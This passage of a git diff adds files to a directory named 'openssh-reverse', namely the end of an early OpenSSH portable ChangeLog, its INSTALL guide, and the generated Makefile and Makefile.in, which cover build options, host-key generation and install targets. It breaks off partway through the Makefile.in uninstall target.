~/.ssh/known_hosts for rhosts-rsa, too + - Fix integer overflow which was messing up scp's progress bar for large + file transfers. Fix submitted to OpenBSD developers. Report and fix + from Kees Cook + - Merged more OpenBSD CVS changes: + - [auth-krb4.c auth-passwd.c] remove x11- and krb-cleanup from fatal() + + krb-cleanup cleanup + - [clientloop.c log-client.c log-server.c ] + [readconf.c readconf.h servconf.c servconf.h ] + [ssh.1 ssh.c ssh.h sshd.8] + add LogLevel {QUIET, FATAL, ERROR, INFO, CHAT, DEBUG} to ssh/sshd, + obsoletes QuietMode and FascistLogging in sshd. + - [sshd.c] fix fatal/assert() bug reported by damien@ibs.com.au: + allow session_key_int != sizeof(session_key) + [this should fix the pre-assert-removal-core-files] + - Updated default config file to use new LogLevel option and to improve + readability + +19991110 + - Merged several minor fixes: + - ssh-agent commandline parsing + - RPM spec file now installs ssh setuid root + - Makefile creates libdir + - Merged beginnings of Solaris compability from Marc G. Fournier + + +19991109 + - Autodetection of SSL/Crypto library location via autoconf + - Fixed location of ssh-askpass to follow autoconf + - Integrated Makefile patch from Niels Kristian Bech Jensen + - Autodetection of RSAref library for US users + - Minor doc updates + - Merged OpenBSD CVS changes: + - [rsa.c] bugfix: use correct size for memset() + - [sshconnect.c] warn if announced size of modulus 'n' != real size + - Added GNOME passphrase requestor (use --with-gnome-askpass) + - RPM build now creates subpackages + - Released 1.2pre9 + +19991108 + - Removed debian/ directory. This is now being maintained separately. + - Added symlinks for slogin in RPM spec file + - Fixed permissions on manpages in RPM spec file + - Added references to required libraries in README file + - Removed config.h.in from CVS + - Removed pwdb support (better pluggable auth is provided by glibc) + - Made PAM and requisite libdl optional + - Removed lots of unnecessary checks from autoconf + - Added support and autoconf test for openpty() function (Unix98 pty support) + - Fix for scp not finding ssh if not installed as /usr/bin/ssh + - Added TODO file + - Merged parts of Debian patch From Phil Hands : + - Added ssh-askpass program + - Added ssh-askpass support to ssh-add.c + - Create symlinks for slogin on install + - Fix "distclean" target in makefile + - Added example for ssh-agent to manpage + - Added support for PAM_TEXT_INFO messages + - Disable internal /etc/nologin support if PAM enabled + - Merged latest OpenBSD CVS changes: + - [all] replace assert() with error, fatal or packet_disconnect + - [sshd.c] don't send fail-msg but disconnect if too many authentication + failures + - [sshd.c] remove unused argument. ok dugsong + - [sshd.c] typo + - [rsa.c] clear buffers used for encryption. ok: niels + - [rsa.c] replace assert() with error, fatal or packet_disconnect + - [auth-krb4.c] remove unused argument. ok dugsong + - Fixed coredump after merge of OpenBSD rsa.c patch + - Released 1.2pre8 + +19991102 + - Merged change from OpenBSD CVS + - One-line cleanup in sshd.c + +19991030 + - Integrated debian package support from Dan Brosemer + - Merged latest updates for OpenBSD CVS: + - channels.[ch] - remove broken x11 fix and document istate/ostate + - ssh-agent.c - call setsid() regardless of argv[] + - ssh.c - save a few lines when disabling rhosts-{rsa-}auth + - Documentation cleanups + - Renamed README -> README.Ylonen + - Renamed README.openssh ->README + +19991029 + - Renamed openssh* back to ssh* at request of Theo de Raadt + - Incorporated latest changes from OpenBSD's CVS + - Integrated Makefile patch from Niels Kristian Bech Jensen + - Integrated PAM env patch from Nalin Dahyabhai + - Make distclean now removed configure script + - Improved PAM logging + - Added some debug() calls for PAM + - Removed redundant subdirectories + - Integrated part of a patch from Dan Brosemer for + building on Debian. + - Fixed off-by-one error in PAM env patch + - Released 1.2pre6 + +19991028 + - Further PAM enhancements. + - Much cleaner + - Now uses account and session modules for all logins. + - Integrated patch from Dan Brosemer + - Build fixes + - Autoconf + - Change binary names to open* + - Fixed autoconf script to detect PAM on RH6.1 + - Added tests for libpwdb, and OpenBSD functions to autoconf + - Released 1.2pre4 + + - Imported latest OpenBSD CVS code + - Updated README.openssh + - Released 1.2pre5 + +19991027 + - Adapted PAM patch. + - Released 1.0pre2 + + - Excised my buggy replacements for strlcpy and mkdtemp + - Imported correct OpenBSD strlcpy and mkdtemp routines. + - Reduced arc4random_stir entropy read to 32 bytes (256 bits) + - Picked up correct version number from OpenBSD + - Added sshd.pam PAM configuration file + - Added sshd.init Redhat init script + - Added openssh.spec RPM spec file + - Released 1.2pre3 + +19991026 + - Fixed include paths of OpenSSL functions + - Use OpenSSL MD5 routines + - Imported RC4 code from nanocrypt + - Wrote replacements for OpenBSD arc4random* functions + - Wrote replacements for strlcpy and mkdtemp + - Released 1.0pre1 diff --git a/other/openssh-reverse/INSTALL b/other/openssh-reverse/INSTALL new file mode 100644 index 0000000..d95ea4e --- /dev/null +++ b/other/openssh-reverse/INSTALL @@ -0,0 +1,192 @@ +1. Prerequisites +---------------- + +You will need working installations of Zlib and OpenSSL. + +Zlib: +http://www.freesoftware.com/pub/infozip/zlib/ + +OpenSSL 0.9.5a or greater: +http://www.openssl.org/ + +RPMs of OpenSSL are available at http://violet.ibs.com.au/openssh/files/support + +OpenSSH can utilise Pluggable Authentication Modules (PAM) if your system +supports it. PAM is standard on Redhat and Debian Linux and on Solaris. + +PAM: +http://www.kernel.org/pub/linux/libs/pam/ + +If you wish to build the GNOME passphrase requester, you will need the GNOME +libraries and headers. + +GNOME: +http://www.gnome.org/ + +Alternatively, Jim Knoble has written an excellent X11 +passphrase requester. This is maintained separately at: + +http://www.ntrnet.net/~jmknoble/software/x11-ssh-askpass/index.html + +The Entropy Gathering Daemon (EGD) is supported if you have a system which +lacks /dev/random and don't want to use OpenSSH's internal entropy collection. + +EGD: +http://www.lothar.com/tech/crypto/ + +GNU Make: +ftp://ftp.gnu.org/gnu/make/ + +OpenSSH has only been tested with GNU make. It may work with other +'make' programs, but you are on your own. + +2. Building / Installation +-------------------------- + +To install OpenSSH with default options: + +./configure +make +make install + +This will install the OpenSSH binaries in /usr/local/bin, configuration files +in /usr/local/etc, the server in /usr/local/sbin, etc. To specify a different +installation prefix, use the --prefix option to configure: + +./configure --prefix=/opt +make +make install + +Will install OpenSSH in /opt/{bin,etc,lib,sbin}. You can also override +specific paths, for example: + +./configure --prefix=/opt --sysconfdir=/etc/ssh +make +make install + +This will install the binaries in /opt/{bin,lib,sbin}, but will place the +configuration files in /etc/ssh. + +If you are using PAM, you will need to manually install a PAM +control file as "/etc/pam.d/sshd" (or wherever your system +prefers to keep them). A generic PAM configuration is included as +"contrib/sshd.pam.generic", you may need to edit it before using it on +your system. If you are using a recent version of Redhat Linux, the +config file in contrib/redhat/sshd.pam should be more useful. +Failure to install a valid PAM file may result in an inability to +use password authentication. + +There are a few other options to the configure script: + +--with-rsh=PATH allows you to specify the path to your rsh program. +Normally ./configure will search the current $PATH for 'rsh'. You +may need to specify this option if rsh is not in your path or has a +different name. + +--without-pam will disable PAM support. PAM is automatically detected +and switched on if found. + +--enable-gnome-askpass will build the GNOME passphrase dialog. You +need a working installation of GNOME, including the development +headers, for this to work. + +--with-random=/some/file allows you to specify an alternate source of +random numbers (the default is /dev/urandom). Unless you are absolutely +sure of what you are doing, it is best to leave this alone. + +--with-egd-pool=/some/file allows you to enable Entropy Gathering +Daemon support and to specify a EGD pool socket. Use this if your +Unix lacks /dev/random and you don't want to use OpenSSH's builtin +entropy collection support. + +--with-lastlog=FILE will specify the location of the lastlog file. +./configure searches a few locations for lastlog, but may not find +it if lastlog is installed in a different place. + +--without-lastlog will disable lastlog support entirely. + +--with-kerberos4=PATH will enable Kerberos IV support. You will need +to have the Kerberos libraries and header files installed for this +to work. Use the optional PATH argument to specify the root of your +Kerberos installation. + +--with-afs=PATH will enable AFS support. You will need to have the +Kerberos IV and the AFS libraries and header files installed for this +to work. Use the optional PATH argument to specify the root of your +AFS installation. AFS requires Kerberos support to be enabled. + +--with-skey will enable S/Key one time password support. You will need +the S/Key libraries and header files installed for this to work. + +--with-tcp-wrappers will enable TCP Wrappers (/etc/hosts.allow|deny) +support. You will need libwrap.a and tcpd.h installed. + +--with-md5-passwords will enable the use of MD5 passwords. Enable this +if your operating system uses MD5 passwords without using PAM. + +--with-utmpx enables utmpx support. utmpx support is automatic for +some platforms. + +--without-shadow disables shadow password support. + +--with-ipaddr-display forces the use of a numeric IP address in the +$DISPLAY environment variable. Some broken systems need this. + +--with-default-path=PATH allows you to specify a default $PATH for sessions +started by sshd. This replaces the standard path entirely. + +--with-pid-dir=PATH specifies the directory in which the ssh.pid file is +created. + +--with-xauth=PATH specifies the location of the xauth binary + +--with-ipv4-default instructs OpenSSH to use IPv4 by default for new +connections. Normally OpenSSH will try attempt to lookup both IPv6 and +IPv4 addresses. On Linux/glibc-2.1.2 this causes long delays in name +resolution. If this option is specified, you can still attempt to +connect to IPv6 addresses using the command line option '-6'. + +--with-ssl-dir=DIR allows you to specify where your OpenSSL libraries +are installed. + +--with-4in6 Check for IPv4 in IPv6 mapped addresses and convert them to +real (AF_INET) IPv4 addresses. Works around some quirks on Linux. + +If you need to pass special options to the compiler or linker, you +can specify these as environment variables before running ./configure. +For example: + +CFLAGS="-O -m486" LFLAGS="-s" LIBS="-lrubbish" LD="/usr/foo/ld" ./configure + +3. Configuration +---------------- + +The runtime configuration files are installed by in ${prefix}/etc or +whatever you specified as your --sysconfdir (/usr/local/etc by default). + +The default configuration should be instantly usable, though you should +review it to ensure that it matches your security requirements. + +To generate a host key, run "make host-key". Alternately you can do so +manually using the following commands: + + ssh-keygen -b 1024 -f /etc/ssh/ssh_host_key -N "" + ssh-keygen -d -f /etc/ssh/ssh_host_dsa_key -N "" + +Replacing /etc/ssh with the correct path to the configuration directory. +(${prefix}/etc or whatever you specified with --sysconfdir during +configuration) + +If you have configured OpenSSH with EGD support, ensure that EGD is +running and has collected some Entropy. + +For more information on configuration, please refer to the manual pages +for sshd, ssh and ssh-agent. + +4. Problems? +------------ + +If you experience problems compiling, installing or running OpenSSH. +Please refer to the "reporting bugs" section of the webpage at +http://www.openssh.com/ + diff --git a/other/openssh-reverse/Makefile b/other/openssh-reverse/Makefile new file mode 100644 index 0000000..93254cc --- /dev/null +++ b/other/openssh-reverse/Makefile @@ -0,0 +1,198 @@ +# Generated automatically from Makefile.in by configure. +prefix=/usr/local +exec_prefix=${prefix} +bindir=${exec_prefix}/bin +sbindir=${exec_prefix}/sbin +libexecdir=${exec_prefix}/libexec +mandir=${prefix}/man +mansubdir=man +sysconfdir=${prefix}/etc +piddir=/var/run +srcdir=. +top_srcdir=. + +DESTDIR= + + +SSH_PROGRAM=${exec_prefix}/bin/ssh +ASKPASS_LOCATION=${exec_prefix}/libexec/ssh +ASKPASS_PROGRAM=$(ASKPASS_LOCATION)/ssh-askpass + +CC=gcc +LD=gcc +PATHS=-DETCDIR=\"$(sysconfdir)\" -DSSH_PROGRAM=\"$(SSH_PROGRAM)\" -DSSH_ASKPASS_DEFAULT=\"$(ASKPASS_PROGRAM)\" +CFLAGS=-g -O2 -Wall $(PATHS) -DHAVE_CONFIG_H +LIBS=-ldl -lnsl -lz -lutil -lpam -lcrypto +AR=ar +RANLIB=ranlib +INSTALL=/usr/bin/ginstall -c +PERL=/usr/bin/perl +ENT= +LDFLAGS=-L. + +INSTALL_SSH_PRNG_CMDS= + +TARGETS=ssh sshd ssh-add ssh-keygen ssh-agent scp $(EXTRA_TARGETS) + +LIBSSH_OBJS=atomicio.o authfd.o authfile.o aux.o bufaux.o buffer.o canohost.o channels.o cipher.o compat.o compress.o crc32.o deattack.o dispatch.o dsa.o fingerprint.o hmac.o hostfile.o key.o kex.o log.o match.o mpaux.o nchan.o packet.o radix.o entropy.o readpass.o rsa.o tildexpand.o ttymodes.o uidswap.o uuencode.o xmalloc.o + +LIBOPENBSD_COMPAT_OBJS=bsd-base64.o bsd-bindresvport.o bsd-daemon.o bsd-inet_aton.o bsd-misc.o bsd-mktemp.o bsd-rresvport.o bsd-setenv.o bsd-sigaction.o bsd-snprintf.o bsd-strlcat.o bsd-strlcpy.o bsd-strsep.o fake-getaddrinfo.o fake-getnameinfo.o next-posix.o + +SSHOBJS= ssh.o sshconnect.o sshconnect1.o sshconnect2.o log-client.o readconf.o clientloop.o + +SSHDOBJS= sshd.o auth.o auth1.o auth2.o auth-rhosts.o auth-options.o auth-krb4.o auth-pam.o auth-passwd.o auth-rsa.o auth-rh-rsa.o pty.o log-server.o login.o loginrec.o servconf.o serverloop.o md5crypt.o session.o + +TROFFMAN = scp.1 ssh-add.1 ssh-agent.1 ssh-keygen.1 ssh.1 sshd.8 +CATMAN = scp.0 ssh-add.0 ssh-agent.0 ssh-keygen.0 ssh.0 sshd.0 +MANPAGES = $(TROFFMAN) + +CONFIGFILES=sshd_config ssh_config + +PATHSUBS = -D/etc/ssh_config=$(sysconfdir)/ssh_config -D/etc/known_hosts=$(sysconfdir)/ssh_known_hosts -D/etc/sshd_config=$(sysconfdir)/sshd_config -D/etc/shosts.equiv=$(sysconfdir)/shosts.equiv -D/etc/ssh_host_key=$(sysconfdir)/ssh_host_key -D/var/run/sshd.pid=$(piddir)/sshd.pid + +FIXPATHSCMD = $(PERL) $(srcdir)/fixpaths $(PATHSUBS) + +all: $(TARGETS) $(CONFIGFILES) + +manpages: $(MANPAGES) + +$(LIBSSH_OBJS): config.h + +$(LIBOPENBSD_COMPAT_OBJS): config.h + +libopenbsd-compat.a: $(LIBOPENBSD_COMPAT_OBJS) + $(AR) rv $@ $(LIBOPENBSD_COMPAT_OBJS) + $(RANLIB) $@ + +libssh.a: $(LIBSSH_OBJS) + $(AR) rv $@ $(LIBSSH_OBJS) + $(RANLIB) $@ + +ssh: libopenbsd-compat.a libssh.a $(SSHOBJS) + $(LD) -o $@ $(SSHOBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +sshd: libssh.a libopenbsd-compat.a $(SSHDOBJS) + $(LD) -o $@ $(SSHDOBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +scp: libopenbsd-compat.a libssh.a scp.o + $(LD) -o $@ scp.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +ssh-add: libopenbsd-compat.a libssh.a ssh-add.o log-client.o + $(LD) -o $@ ssh-add.o log-client.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +ssh-agent: libopenbsd-compat.a libssh.a ssh-agent.o log-client.o + $(LD) -o $@ ssh-agent.o log-client.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +ssh-keygen: libopenbsd-compat.a libssh.a ssh-keygen.o log-client.o + $(LD) -o $@ ssh-keygen.o log-client.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +# test driver for the loginrec code - not built by default +logintest: logintest.o libopenbsd-compat.a libssh.a log-client.o loginrec.o + $(LD) -o $@ logintest.o $(LDFLAGS) loginrec.o -lopenbsd-compat -lssh log-client.o $(LIBS) + +$(MANPAGES) $(CONFIGFILES):: + $(FIXPATHSCMD) $(srcdir)/$@ + +clean: + rm -f *.o *.a $(TARGETS) logintest config.cache config.log + rm -f *.out core + +distclean: clean + rm -f Makefile config.h config.status ssh_prng_cmds *~ + +mrproper: distclean + +veryclean: distclean + rm -f configure config.h.in *.0 + +catman-do: + @for f in $(TROFFMAN) ; do \ + echo "$$f -> $${f%%.[18]}.0" ; \ + nroff -mandoc $$f | cat -v | sed -e 's/.\^H//g' \ + >$${f%%.[18]}.0 ; \ + done + +distprep: catman-do + autoreconf + +install: manpages $(TARGETS) install-files host-key + +install-files: + ./mkinstalldirs $(DESTDIR)$(bindir) + ./mkinstalldirs $(DESTDIR)$(sbindir) + ./mkinstalldirs $(DESTDIR)$(mandir) + ./mkinstalldirs $(DESTDIR)$(mandir)/$(mansubdir)1 + ./mkinstalldirs $(DESTDIR)$(mandir)/$(mansubdir)8 + $(INSTALL) -m 4755 -s ssh $(DESTDIR)$(bindir)/ssh + $(INSTALL) -s scp $(DESTDIR)$(bindir)/scp + $(INSTALL) -s ssh-add $(DESTDIR)$(bindir)/ssh-add + $(INSTALL) -s ssh-agent $(DESTDIR)$(bindir)/ssh-agent + $(INSTALL) -s ssh-keygen $(DESTDIR)$(bindir)/ssh-keygen + $(INSTALL) -s sshd $(DESTDIR)$(sbindir)/sshd + $(INSTALL) -m 644 ssh.[01].out $(DESTDIR)$(mandir)/$(mansubdir)1/ssh.1 + $(INSTALL) -m 644 scp.[01].out $(DESTDIR)$(mandir)/$(mansubdir)1/scp.1 + $(INSTALL) -m 644 ssh-add.[01].out $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-add.1 + $(INSTALL) -m 644 ssh-agent.[01].out $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-agent.1 + $(INSTALL) -m 644 ssh-keygen.[01].out $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-keygen.1 + $(INSTALL) -m 644 sshd.[08].out $(DESTDIR)$(mandir)/$(mansubdir)8/sshd.8 + -rm -f $(DESTDIR)$(bindir)/slogin + ln -s ssh $(DESTDIR)$(bindir)/slogin + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/slogin.1 + ln -s ssh.1 $(DESTDIR)$(mandir)/$(mansubdir)1/slogin.1 + if [ ! -f $(DESTDIR)$(sysconfdir)/ssh_config -a ! -f $(DESTDIR)$(sysconfdir)/sshd_config ]; then \ + ./mkinstalldirs $(DESTDIR)$(sysconfdir); \ + $(INSTALL) -m 644 ssh_config.out $(DESTDIR)$(sysconfdir)/ssh_config; \ + $(INSTALL) -m 644 sshd_config.out $(DESTDIR)$(sysconfdir)/sshd_config; \ + fi + if [ -f ssh_prng_cmds -a ! -z "$(INSTALL_SSH_PRNG_CMDS)" ]; then \ + $(PERL) fixprogs ssh_prng_cmds $(ENT); \ + $(INSTALL) -m 644 ssh_prng_cmds.out $(DESTDIR)$(sysconfdir)/ssh_prng_cmds; \ + fi + +host-key: ssh-keygen + if [ -z "$(DESTDIR)" ] ; then \ + if [ -f "$(DESTDIR)$(sysconfdir)/ssh_host_key" ] ; then \ + echo "$(DESTDIR)$(sysconfdir)/ssh_host_key already exists, skipping." ; \ + else \ + ./ssh-keygen -b 1024 -f $(DESTDIR)$(sysconfdir)/ssh_host_key -N "" ; \ + fi ; \ + if [ -f $(DESTDIR)$(sysconfdir)/ssh_host_dsa_key ] ; then \ + echo "$(DESTDIR)$(sysconfdir)/ssh_host_dsa_key already exists, skipping." ; \ + else \ + ./ssh-keygen -d -f $(DESTDIR)$(sysconfdir)/ssh_host_dsa_key -N "" ; \ + fi ; \ + fi ; + +host-key-force: ssh-keygen + ./ssh-keygen -b 1024 -f $(DESTDIR)$(sysconfdir)/ssh_host_key -N "" + ./ssh-keygen -d -f $(DESTDIR)$(sysconfdir)/ssh_host_dsa_key -N "" + +uninstallall: uninstall + -rm -f $(DESTDIR)$(sysconfdir)/ssh_config + -rm -f $(DESTDIR)$(sysconfdir)/sshd_config + -rm -f $(DESTDIR)$(sysconfdir)/ssh_prng_cmds + -rmdir $(DESTDIR)$(sysconfdir) + -rmdir $(DESTDIR)$(bindir) + -rmdir $(DESTDIR)$(sbindir) + -rmdir $(DESTDIR)$(mandir)/$(mansubdir)1 + -rmdir $(DESTDIR)$(mandir)/$(mansubdir)8 + -rmdir $(DESTDIR)$(mandir) + -rmdir $(DESTDIR)$(libexecdir) + +uninstall: + -rm -f $(DESTDIR)$(bindir)/ssh + -rm -f $(DESTDIR)$(bindir)/scp + -rm -f $(DESTDIR)$(bindir)/ssh-add + -rm -f $(DESTDIR)$(bindir)/ssh-agent + -rm -f $(DESTDIR)$(bindir)/ssh-keygen + -rm -f $(DESTDIR)$(sbindir)/sshd + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/ssh.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/scp.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-add.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-agent.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-keygen.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)8/sshd.8 + -rm -f $(DESTDIR)$(bindir)/slogin + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/slogin.1 + -rm -f $(DESTDIR)${ASKPASS_PROGRAM} + -rmdir $(DESTDIR)$(libexecdir)/ssh ; diff --git a/other/openssh-reverse/Makefile.in b/other/openssh-reverse/Makefile.in new file mode 100644 index 0000000..8954f83 --- /dev/null +++ b/other/openssh-reverse/Makefile.in @@ -0,0 +1,198 @@ +prefix=@prefix@ +exec_prefix=@exec_prefix@ +bindir=@bindir@ +sbindir=@sbindir@ +libexecdir=@libexecdir@ +mandir=@mandir@ +mansubdir=@mansubdir@ +sysconfdir=@sysconfdir@ +piddir=@piddir@ +srcdir=@srcdir@ +top_srcdir=@top_srcdir@ + +DESTDIR= + +VPATH=@srcdir@ + +SSH_PROGRAM=@bindir@/ssh +ASKPASS_LOCATION=@libexecdir@/ssh +ASKPASS_PROGRAM=$(ASKPASS_LOCATION)/ssh-askpass + +CC=@CC@ +LD=@LD@ +PATHS=-DETCDIR=\"$(sysconfdir)\" -DSSH_PROGRAM=\"$(SSH_PROGRAM)\" -DSSH_ASKPASS_DEFAULT=\"$(ASKPASS_PROGRAM)\" +CFLAGS=@CFLAGS@ $(PATHS) @DEFS@ +LIBS=@LIBS@ +AR=@AR@ +RANLIB=@RANLIB@ +INSTALL=@INSTALL@ +PERL=@PERL@ +ENT=@ENT@ +LDFLAGS=-L. @LDFLAGS@ + +INSTALL_SSH_PRNG_CMDS=@INSTALL_SSH_PRNG_CMDS@ + +TARGETS=ssh sshd ssh-add ssh-keygen ssh-agent scp $(EXTRA_TARGETS) + +LIBSSH_OBJS=atomicio.o authfd.o authfile.o aux.o bufaux.o buffer.o canohost.o channels.o cipher.o compat.o compress.o crc32.o deattack.o dispatch.o dsa.o fingerprint.o hmac.o hostfile.o key.o kex.o log.o match.o mpaux.o nchan.o packet.o radix.o entropy.o readpass.o rsa.o tildexpand.o ttymodes.o uidswap.o uuencode.o xmalloc.o + +LIBOPENBSD_COMPAT_OBJS=bsd-base64.o bsd-bindresvport.o bsd-daemon.o bsd-inet_aton.o bsd-misc.o bsd-mktemp.o bsd-rresvport.o bsd-setenv.o bsd-sigaction.o bsd-snprintf.o bsd-strlcat.o bsd-strlcpy.o bsd-strsep.o fake-getaddrinfo.o fake-getnameinfo.o next-posix.o + +SSHOBJS= ssh.o sshconnect.o sshconnect1.o sshconnect2.o log-client.o readconf.o clientloop.o + +SSHDOBJS= sshd.o auth.o auth1.o auth2.o auth-rhosts.o auth-options.o auth-krb4.o auth-pam.o auth-passwd.o auth-rsa.o auth-rh-rsa.o pty.o log-server.o login.o loginrec.o servconf.o serverloop.o md5crypt.o session.o + +TROFFMAN = scp.1 ssh-add.1 ssh-agent.1 ssh-keygen.1 ssh.1 sshd.8 +CATMAN = scp.0 ssh-add.0 ssh-agent.0 ssh-keygen.0 ssh.0 sshd.0 +MANPAGES = @MANTYPE@ + +CONFIGFILES=sshd_config ssh_config + +PATHSUBS = -D/etc/ssh_config=$(sysconfdir)/ssh_config -D/etc/known_hosts=$(sysconfdir)/ssh_known_hosts -D/etc/sshd_config=$(sysconfdir)/sshd_config -D/etc/shosts.equiv=$(sysconfdir)/shosts.equiv -D/etc/ssh_host_key=$(sysconfdir)/ssh_host_key -D/var/run/sshd.pid=$(piddir)/sshd.pid + +FIXPATHSCMD = $(PERL) $(srcdir)/fixpaths $(PATHSUBS) + +all: $(TARGETS) $(CONFIGFILES) + +manpages: $(MANPAGES) + +$(LIBSSH_OBJS): config.h + +$(LIBOPENBSD_COMPAT_OBJS): config.h + +libopenbsd-compat.a: $(LIBOPENBSD_COMPAT_OBJS) + $(AR) rv $@ $(LIBOPENBSD_COMPAT_OBJS) + $(RANLIB) $@ + +libssh.a: $(LIBSSH_OBJS) + $(AR) rv $@ $(LIBSSH_OBJS) + $(RANLIB) $@ + +ssh: libopenbsd-compat.a libssh.a $(SSHOBJS) + $(LD) -o $@ $(SSHOBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +sshd: libssh.a libopenbsd-compat.a $(SSHDOBJS) + $(LD) -o $@ $(SSHDOBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +scp: libopenbsd-compat.a libssh.a scp.o + $(LD) -o $@ scp.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +ssh-add: libopenbsd-compat.a libssh.a ssh-add.o log-client.o + $(LD) -o $@ ssh-add.o log-client.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +ssh-agent: libopenbsd-compat.a libssh.a ssh-agent.o log-client.o + $(LD) -o $@ ssh-agent.o log-client.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +ssh-keygen: libopenbsd-compat.a libssh.a ssh-keygen.o log-client.o + $(LD) -o $@ ssh-keygen.o log-client.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +# test driver for the loginrec code - not built by default +logintest: logintest.o libopenbsd-compat.a libssh.a log-client.o loginrec.o + $(LD) -o $@ logintest.o $(LDFLAGS) loginrec.o -lopenbsd-compat -lssh log-client.o $(LIBS) + +$(MANPAGES) $(CONFIGFILES):: + $(FIXPATHSCMD) $(srcdir)/$@ + +clean: + rm -f *.o *.a $(TARGETS) logintest config.cache config.log + rm -f *.out core + +distclean: clean + rm -f Makefile config.h config.status ssh_prng_cmds *~ + +mrproper: distclean + +veryclean: distclean + rm -f configure config.h.in *.0 + +catman-do: + @for f in $(TROFFMAN) ; do \ + echo "$$f -> $${f%%.[18]}.0" ; \ + nroff -mandoc $$f | cat -v | sed -e 's/.\^H//g' \ + >$${f%%.[18]}.0 ; \ + done + +distprep: catman-do + autoreconf + +install: manpages $(TARGETS) install-files host-key + +install-files: + ./mkinstalldirs $(DESTDIR)$(bindir) + ./mkinstalldirs $(DESTDIR)$(sbindir) + ./mkinstalldirs $(DESTDIR)$(mandir) + ./mkinstalldirs $(DESTDIR)$(mandir)/$(mansubdir)1 + ./mkinstalldirs $(DESTDIR)$(mandir)/$(mansubdir)8 + $(INSTALL) -m 4755 -s ssh $(DESTDIR)$(bindir)/ssh + $(INSTALL) -s scp $(DESTDIR)$(bindir)/scp + $(INSTALL) -s ssh-add $(DESTDIR)$(bindir)/ssh-add + $(INSTALL) -s ssh-agent $(DESTDIR)$(bindir)/ssh-agent + $(INSTALL) -s ssh-keygen $(DESTDIR)$(bindir)/ssh-keygen + $(INSTALL) -s sshd $(DESTDIR)$(sbindir)/sshd + $(INSTALL) -m 644 ssh.[01].out $(DESTDIR)$(mandir)/$(mansubdir)1/ssh.1 + $(INSTALL) -m 644 scp.[01].out $(DESTDIR)$(mandir)/$(mansubdir)1/scp.1 + $(INSTALL) -m 644 ssh-add.[01].out $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-add.1 + $(INSTALL) -m 644 ssh-agent.[01].out $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-agent.1 + $(INSTALL) -m 644 ssh-keygen.[01].out $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-keygen.1 + $(INSTALL) -m 644 sshd.[08].out $(DESTDIR)$(mandir)/$(mansubdir)8/sshd.8 + -rm -f $(DESTDIR)$(bindir)/slogin + ln -s ssh $(DESTDIR)$(bindir)/slogin + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/slogin.1 + ln -s ssh.1 $(DESTDIR)$(mandir)/$(mansubdir)1/slogin.1 + if [ ! -f $(DESTDIR)$(sysconfdir)/ssh_config -a ! -f $(DESTDIR)$(sysconfdir)/sshd_config ]; then \ + ./mkinstalldirs $(DESTDIR)$(sysconfdir); \ + $(INSTALL) -m 644 ssh_config.out $(DESTDIR)$(sysconfdir)/ssh_config; \ + $(INSTALL) -m 644 sshd_config.out $(DESTDIR)$(sysconfdir)/sshd_config; \ + fi + if [ -f ssh_prng_cmds -a ! -z "$(INSTALL_SSH_PRNG_CMDS)" ]; then \ + $(PERL) fixprogs ssh_prng_cmds $(ENT); \ + $(INSTALL) -m 644 ssh_prng_cmds.out $(DESTDIR)$(sysconfdir)/ssh_prng_cmds; \ + fi + +host-key: ssh-keygen + if [ -z "$(DESTDIR)" ] ; then \ + if [ -f "$(DESTDIR)$(sysconfdir)/ssh_host_key" ] ; then \ + echo "$(DESTDIR)$(sysconfdir)/ssh_host_key already exists, skipping." ; \ + else \ + ./ssh-keygen -b 1024 -f $(DESTDIR)$(sysconfdir)/ssh_host_key -N "" ; \ + fi ; \ + if [ -f $(DESTDIR)$(sysconfdir)/ssh_host_dsa_key ] ; then \ + echo "$(DESTDIR)$(sysconfdir)/ssh_host_dsa_key already exists, skipping." ; \ + else \ + ./ssh-keygen -d -f $(DESTDIR)$(sysconfdir)/ssh_host_dsa_key -N "" ; \ + fi ; \ + fi ; + +host-key-force: ssh-keygen + ./ssh-keygen -b 1024 -f $(DESTDIR)$(sysconfdir)/ssh_host_key -N "" + ./ssh-keygen -d -f $(DESTDIR)$(sysconfdir)/ssh_host_dsa_key -N "" + +uninstallall: uninstall + -rm -f $(DESTDIR)$(sysconfdir)/ssh_config + -rm -f $(DESTDIR)$(sysconfdir)/sshd_config + -rm -f $(DESTDIR)$(sysconfdir)/ssh_prng_cmds + -rmdir $(DESTDIR)$(sysconfdir) + -rmdir $(DESTDIR)$(bindir) + -rmdir $(DESTDIR)$(sbindir) + -rmdir $(DESTDIR)$(mandir)/$(mansubdir)1 + -rmdir $(DESTDIR)$(mandir)/$(mansubdir)8 + -rmdir $(DESTDIR)$(mandir) + -rmdir $(DESTDIR)$(libexecdir) + +uninstall: + -rm -f $(DESTDIR)$(bindir)/ssh + -rm -f $(DESTDIR)$(bindir)/scp + -rm -f $(DESTDIR)$(bindir)/ssh-add + -rm -f $(DESTDIR)$(bindir)/ssh-agent + -rm -f $(DESTDIR)$(bindir)/ssh-keygen + -rm -f $(DESTDIR)$(sbindir)/sshd + -rm -f 